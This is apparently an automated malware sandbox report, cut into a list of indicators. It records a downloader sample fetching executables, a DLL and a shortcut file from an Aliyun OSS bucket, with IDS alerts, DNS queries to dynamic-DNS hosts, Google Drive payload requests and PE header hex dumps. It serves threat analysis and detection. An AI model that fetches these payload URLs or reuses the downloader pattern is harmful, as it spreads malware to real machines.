00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 02 00 00 00 90 04 00 00 04 00 00 00 52 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Mbzzz[z[I[(RichPELs"&gv,:0@@xG<
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:35:01 GMTContent-Type: application/octet-streamContent-Length: 208896Connection: keep-alivex-oss-request-id: 6776EA6554F7EDD933C5ACFBAccept-Ranges: bytesETag: "5E3BC49297F0765C486693790157273F"Last-Modified: Sat, 02 Nov 2024 13:26:13 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 2028005770612052367x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: XjvEkpfwdlxIZpN5AVcnPw==x-oss-server-time: 2Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 dc f1 b2 12 b2 a2 b2 12 b2 a2 b2 12 b2 a2 71 1d ed a2 b5 12 b2 a2 71 1d ef a2 a7 12 b2 a2 b2 12 b3 a2 67 13 b2 a2 95 d4 cf a2 ab 12 b2 a2 95 d4 df a2 23 12 b2 a2 95 d4 dc a2 c5 12 b2 a2 95 d4 c0 a2 b0 12 b2 a2 95 d4 c8 a2 b3 12 b2 a2 95 d4 ce a2 b3 12 b2 a2 95 d4 ca a2 b3 12 b2 a2 52 69 63 68 b2 12 b2 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 06 26 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 00 02 00 00 20 01 00 00 00 00 00 42 dc 00 00 00 10 00 00 00 10 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 03 00 00 10 00 00 29 54 03 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 90 7b 02 00 43 00 00 00 70 67 02 00 a0 00 00 00 00 e0 02 00 0c 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 78 1f 00 00 70 14 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 43 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 c4 03 00 00 e8 66 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5e f3 01 00 00 10 00 00 00 00 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d3 6b 00 00 00 10 02 00 00 70 00 00 00 10 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 5a 00 00 00 80 02 00 00 20 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 0c 3a 00 00 00 e0 02 00 00 40 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c6 49 00 00 00 20 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sqqg#RichPEL&g! Bp)T{Cpg:

Source: Joe Sandbox View

IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2021245 - Severity 1 - ET MALWARE Possible Dridex Download URI Struct with no referer : 192.168.2.4:49730 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2022550 - Severity 1 - ET MALWARE Possible Malicious Macro DL EXE Feb 2016 : 192.168.2.4:49730 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49730 -> 47.254.187.72:80

Source: global traffic	HTTP traffic detected: GET /270/1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/3.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/4.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/wic.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/cbas.exe HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/msslac.dll HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/cbas.lnk HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\wic.exe

Code function: 11_2_00E835BB GetTickCount,GetTickCount,InternetReadFile,GetTickCount,GetTickCount,InternetCloseHandle,InternetCloseHandle,PostMessageA,

11_2_00E835BB

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0
Source: global traffic	HTTP traffic detected: GET /270/1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/3.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/4.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/wic.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /270/cbas.exe HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/msslac.dll HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/cbas.lnk HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com

Source: global traffic	DNS traffic detected: DNS query: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC47w-qW8SWFOir8jseBMN5Zm2fnWJKBX3fIboutLCpIm889aHoM16E_vnpa78FMkXIXContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:35:59 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-SqMzk4jmfdgy01mO5kIAwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=kc7xeLmHTbeshB1Kt41DRtFAHA16V2PEFTYZdyQO9kOuTtHSyFi4VkjSX8fRh9cZHHzD1aZrzARFPp9wwum22RqvtaeL2i6LDE0ezo9HINww6nkdgcLq35QtHVg4imOIO4H9qxwpv7D99I4LuZZgVtSd4dPvyYC3_xONL11tUVsyB5G1P1sbfC0; expires=Fri, 04-Jul-2025 19:35:59 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7DlfLHuS1GkP7G6C_WpFNx9iHLad_JAiFWI13_tl3cbeGV2YQrPZ_0YjiOgzDi7UWUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:36:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-TO2LLdMzwWzFICe98aqa2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6zL-cB_Tsb3TfcKEY9YtjphCpf3gn_SFraLuN5OgxPYc52lAUIxKtOr7vEoGKyQHPyM1UPmpkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:36:04 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_U9mHaZ6kW3xTkTXsaeOZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ._cache_1.exe, ._cache_1.exe, 00000002.00000002.1740103618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000002.1740179585.000000000079B000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, ._cache_1.exe, 00000002.00000003.1739534840.0000000000798000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000003.1739384768.0000000000798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://LineageTheBloodPledge.com/.
Source: ._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112
Source: file.exe, 00000000.00000003.1708813251.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/
Source: file.exe, 00000000.00000003.1708813251.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/%%bruplong.oss-accelerate.aliyuncs.com
Source: file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe
Source: file.exe, 00000000.00000002.1801335644.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe#B
Source: file.exe, 00000000.00000002.1801335644.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeKB
Source: file.exe, 00000000.00000003.1708777064.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMp
Source: file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeNNC:
Source: file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe_
Source: file.exe, 00000000.00000002.1801335644.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeaa
Source: file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exellC:
Source: file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exex
Source: file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe?
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exet
Source: file.exe, 00000000.00000002.1801335644.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800902274.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe1
Source: file.exe, 00000000.00000003.1764737231.0000000000782000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeF
Source: wic.exe, 0000000B.00000002.3538860898.000000000160E000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exe
Source: wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exeC:
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk
Source: wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk&
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk32P;
Source: wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkI
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkP:
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl:
Source: wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkm
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkp:
Source: wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkp;
Source: wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll
Source: wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll:
Source: wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllhttp://bruplong.oss-accelerate.aliyuncs.co
Source: wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllp;
Source: file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe0
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeG
Source: file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeU
